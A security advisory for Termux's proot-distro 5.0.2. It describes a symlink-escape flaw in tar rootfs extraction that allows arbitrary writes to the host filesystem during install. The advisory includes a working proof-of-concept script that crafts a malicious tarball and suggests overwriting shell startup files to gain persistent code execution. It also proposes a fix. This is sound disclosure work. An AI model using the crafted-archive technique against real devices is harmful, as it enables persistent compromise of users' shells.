GHSA-9xq3-3fqg-4vg7

**Repository:** `termux/proot-distro` **Component:** `proot_distro/commands/install.py` → `_extract_plain_tar()`; also `helpers/docker.py` → `_apply_layer()`

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## Affected Versions

| Component | Version | |---------------|------------------------------| | proot-distro | 5.0.2 (confirmed vulnerable) | | Termux app | 0.119.0-beta.3 | | Device / ABI | Samsung Galaxy A23 / aarch64 | | Python (host) | 3.13 |

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## Vulnerability Description

`proot-distro install` extracts a plain tarball rootfs by calling `_extract_plain_tar()` in `proot_distro/commands/install.py`. This function correctly rejects tar member **names** containing `..` components, but applies **no equivalent check on symlink targets** (`member.linkname`). A tar archive can therefore:

1. Plant a symlink inside the rootfs whose target is an **absolute host path** (e.g. `/data/data/com.termux/files/home`). 2. Write a subsequent regular-file member whose path traverses through that symlink name.

Python's `open()` follows the symlink, writing the file **on the host filesystem** at the privilege level of the Termux process — entirely during `proot-distro install`, before the container is ever run.

The same `_extract_plain_tar` function is reachable via `proot-distro reset`, and the equivalent `_apply_layer` in `helpers/docker.py` contains the same flaw.

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## Vulnerable Code

**`proot_distro/commands/install.py`**, `_extract_plain_tar()`:

```python elif member.issym(): # linkname taken verbatim from archive — no validation of target os.symlink(member.linkname, dest) # ← symlink planted on host

elif member.isreg(): dest = os.path.join(rootfs_dir, rel_path) with open(dest, 'wb') as out: # ← follows symlink above ... ```

The existing traversal guard only covers member **names**:

```python if any(p in ('..', '') for p in rel_parts): continue # only checks the name, not the symlink target ```

There is **no check on `member.linkname`**. An absolute symlink target bypasses this guard entirely.

| Check | Member name (`rel_path`) | Symlink target (`member.linkname`) | |------------------------------------|:------------------------:|:----------------------------------:| | Reject `..` components | ✅ | ❌ | | Confirm stays inside `rootfs_dir` | ❌ | ❌ |

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## Proof of Concept

### Step 1 — Craft a malicious archive

```python # craft_evil_layer.py import tarfile, io, hashlib

PAYLOAD = b"TERMUX_ESCAPE_SUCCESS\n"

buf = io.BytesIO() with tarfile.open(fileobj=buf, mode='w:gz') as tf:

# Plant symlink: <rootfs>/escape → /data/data/com.termux/files/home sym = tarfile.TarInfo(name='escape') sym.type = tarfile.SYMTYPE sym.linkname = '/data/data/com.termux/files/home' tf.addfile(sym)

# Write file through symlink: <rootfs>/escape/POC_SUCCESS → host ~/POC_SUCCESS reg = tarfile.TarInfo(name='escape/POC_SUCCESS') reg.size = len(PAYLOAD) tf.addfile(reg, io.BytesIO(PAYLOAD))

data = buf.getvalue() with open('evil.tar.gz', 'wb') as f: f.write(data)

print("Created evil.tar.gz") print("sha256:", hashlib.sha256(data).hexdigest()) ```

### Step 2 — Install the archive

``` $ python craft_evil_layer.py Created evil.tar.gz sha256: 6693f415b22b2b006654da1819e08bef8bb569b9e819c62e879e79c7c060ef57

$ proot-distro install ./evil.tar.gz [*] Installing from 'evil.tar.gz' as 'evil'... [*] Extracting rootfs from archive... [*] Finished installation. ```

### Step 3 — Verify proot-distro version

``` $ pkg show proot-distro | grep Version WARNING: apt does not have a stable CLI interface. Use with caution in scripts.

Version: 5.0.2 ```

### Step 4 — Verify host write

``` $ cat ~/POC_SUCCESS TERMUX_ESCAPE_SUCCESS ```

`POC_SUCCESS` was written directly into the host Termux `$HOME` during installation, with no container login required.

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## Impact

- **Arbitrary host file write** at the full privilege of the Termux process, triggered solely by `proot-distro install` — no container interaction required. - A malicious `.tar.gz` / `.tar.xz` / `.tgz` archive delivered via a file download, CI artifact, or compromised mirror is sufficient to exploit this. - Practical payloads include overwriting `~/.bashrc`, `~/.profile`, `$PREFIX/etc/bash.bashrc`, or any file in the Termux home/prefix, achieving **persistent code execution** the next time the user opens a shell. - Also reachable via `proot-distro reset` if the malicious archive is reused, and via `_apply_layer` in `helpers/docker.py`.

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## Root Cause

`_extract_plain_tar` validates member **names** against `..` traversal but places no restriction on symlink **targets**. The two vectors are treated asymmetrically:

| Check | Member name (`rel_path`) | Symlink target (`member.linkname`) | |------------------------------------|:------------------------:|:----------------------------------:| | Reject `..` components | ✅ | ❌ | | Confirm stays inside `rootfs_dir` | ❌ | ❌ |

The member-name check (`any(p in ('..', '') for p in rel_parts)`) is necessary but not sufficient: a symlink with an absolute target bypasses it entirely.

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## Proposed Fix

Add a guard that rejects any symlink whose resolved target falls outside `rootfs_dir`. Apply in both `_extract_plain_tar` and `_apply_layer`:

```python def _is_safe_symlink(rootfs_dir: str, dest: str, linkname: str) -> bool: """Return True only if the symlink target resolves inside rootfs_dir.""" if os.path.isabs(linkname): return False # absolute targets always escape on the host resolved = os.path.normpath(os.path.join(os.path.dirname(dest), linkname)) real_root = os.path.realpath(rootfs_dir) real_resolved = (os.path.realpath(resolved) if os.path.exists(resolved) else os.path.normpath(resolved)) return real_resolved.startswith(real_root + os.sep) or real_resolved == real_root ```

Then in `_extract_plain_tar`:

```python elif member.issym(): if not _is_safe_symlink(rootfs_dir, dest, member.linkname): continue # drop unsafe symlink if os.path.lexists(dest): ... os.symlink(member.linkname, dest) ```

Apply the identical guard inside `_apply_layer` in `helpers/docker.py`.

> **Note:** A stricter alternative — matching Docker's own behavior — is to **rewrite** > absolute symlink targets to relative paths within the rootfs rather than dropping them, > to avoid breaking legitimate images that use absolute intra-rootfs symlinks such as > `/usr/lib → /lib`.

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*Confirmed on proot-distro 5.0.2, Termux on Android/aarch64.* *Maintainer: @sylirre — report via GitHub Security Advisory on the `termux/proot-distro` repository.*